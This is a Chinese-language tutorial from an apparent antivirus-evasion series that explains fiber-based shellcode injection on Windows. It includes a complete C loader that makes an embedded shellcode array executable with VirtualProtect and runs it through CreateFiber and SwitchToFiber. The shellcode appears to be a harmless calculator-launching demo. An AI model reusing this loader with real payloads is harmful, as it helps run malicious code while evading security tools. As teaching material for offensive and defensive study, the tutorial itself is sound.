1-创建纤程注入(CreateFiber Injection)
一、前言
学习过操作系统都知道,进程是进行资源分配的基本单位,而线程又是CPU调度的基本单位,在现代的操作系统的用户模式中,纤程是比线程更小的调度单位。
定义:纤程(Fiber)是一种轻量级的线程,也被称为协程(Coroutine)或微线程(Microthread)。它们是一种用户级别的线程,由程序自身管理,而不是由操作系统内核管理。纤程是一种可以提高程序执行效率的调度机制,特别适用于需要大量并发执行任务的场景
二、流程
VirtualProtect
:更改调用进程的虚拟地址空间中已提交页面区域的保护,在本例中就是将指定内存区域的属性改为:可读、可写、可执行。官方文档:VirtualProtect 函数 (memoryapi.h) - Win32 apps | Microsoft LearnConvertThreadToFiber
:将当前线程转换为纤程。官方文档:convertThreadToFiber 函数 (winbase.h) - Win32 apps | Microsoft LearnCreateFiber
:创建一个纤程对象,关联到shellcode作为纤程入口点。官方文档:createFiber 函数 (winbase.h) - Win32 apps | Microsoft LearnSwitchToFiber
:切换到新创建的纤程,开始执行shellcode。官方文档:switchToFiber 函数 (winbase.h) - Win32 apps | Microsoft LearnDeleteFiber
:shellcode执行完毕后,删除纤程对象。官方文档 deleteFiber 函数 (winbase.h) - Win32 apps | Microsoft Learn
shellcode的注入大致分为三步
为shellcode分配内存
将shellcode移动到已分配的内存区域
执行shellcode
可以看到本节所介绍的 创建纤程注入
shellcode的方式的三个步骤与前面介绍的 创建线程注入
都不同。但是呢,前两步是可以等价替换的,即 VirtualProtect
可以用 VirtualAlloc+RtlMoveMemory
进行等价替换。
VirtualProtect
:直接修改原有 buf
数组的内存保护属性,不创建新的内存空间。在安全编程实践中更推荐 VirtualAlloc+RtlMoveMemory
的组合,但是在免杀中,没这么多讲究,只要达成目的即可(maybe?)
在这里再提一种方法,memcpy
:C 库函数,也能实现内存数据的的复制,当然复制/移动shellcode并不是很复杂的操作,自己都可以封装成一个函数用几十行代码就能完成,最重要的是 VirtualAlloc
和 VirtualProtect
可以改变内存保护属性。
读者可以尝试积累可以完成shellcode的注入三步骤的函数
三、代码实现
#include <stdio.h>
#include <Windows.h>
int main() {
unsigned char buf[] = {
0x50, 0x51, 0x52, 0x53, 0x56, 0x57, 0x55, 0x6A, 0x60, 0x5A,
0x68, 0x63, 0x61, 0x6C, 0x63, 0x54, 0x59, 0x48, 0x83, 0xEC,
0x28, 0x65, 0x48, 0x8B, 0x32, 0x48, 0x8B, 0x76, 0x18, 0x48,
0x8B, 0x76, 0x10, 0x48, 0xAD, 0x48, 0x8B, 0x30, 0x48, 0x8B,
0x7E, 0x30, 0x03, 0x57, 0x3C, 0x8B, 0x5C, 0x17, 0x28, 0x8B,
0x74, 0x1F, 0x20, 0x48, 0x01, 0xFE, 0x8B, 0x54, 0x1F, 0x24,
0x0F, 0xB7, 0x2C, 0x17, 0x8D, 0x52, 0x02, 0xAD, 0x81, 0x3C,
0x07, 0x57, 0x69, 0x6E, 0x45, 0x75, 0xEF, 0x8B, 0x74, 0x1F,
0x1C, 0x48, 0x01, 0xFE, 0x8B, 0x34, 0xAE, 0x48, 0x01, 0xF7,
0x99, 0xFF, 0xD7, 0x48, 0x83, 0xC4, 0x30, 0x5D, 0x5F, 0x5E,
0x5B, 0x5A, 0x59, 0x58, 0xC3
};
// 修改shellcode所在内存的保护属性为可读、可写、可执行
DWORD oldProtect;
VirtualProtect((LPVOID)buf, sizeof(buf), PAGE_EXECUTE_READWRITE, &oldProtect);
// 将当前线程转换为纤程(轻量级线程)
ConvertThreadToFiber(NULL);
// 创建一个纤程对象,关联到shellcode作为纤程入口点,使用默认栈大小和无标志位
void* shellcodeFiber = CreateFiber(0, (LPFIBER_START_ROUTINE)(LPVOID)buf, NULL);
// 切换到新创建的纤程,开始执行shellcode
SwitchToFiber(shellcodeFiber);
// shellcode执行完毕后,删除纤程对象
DeleteFiber(shellcodeFiber);
return 0;
}

Last updated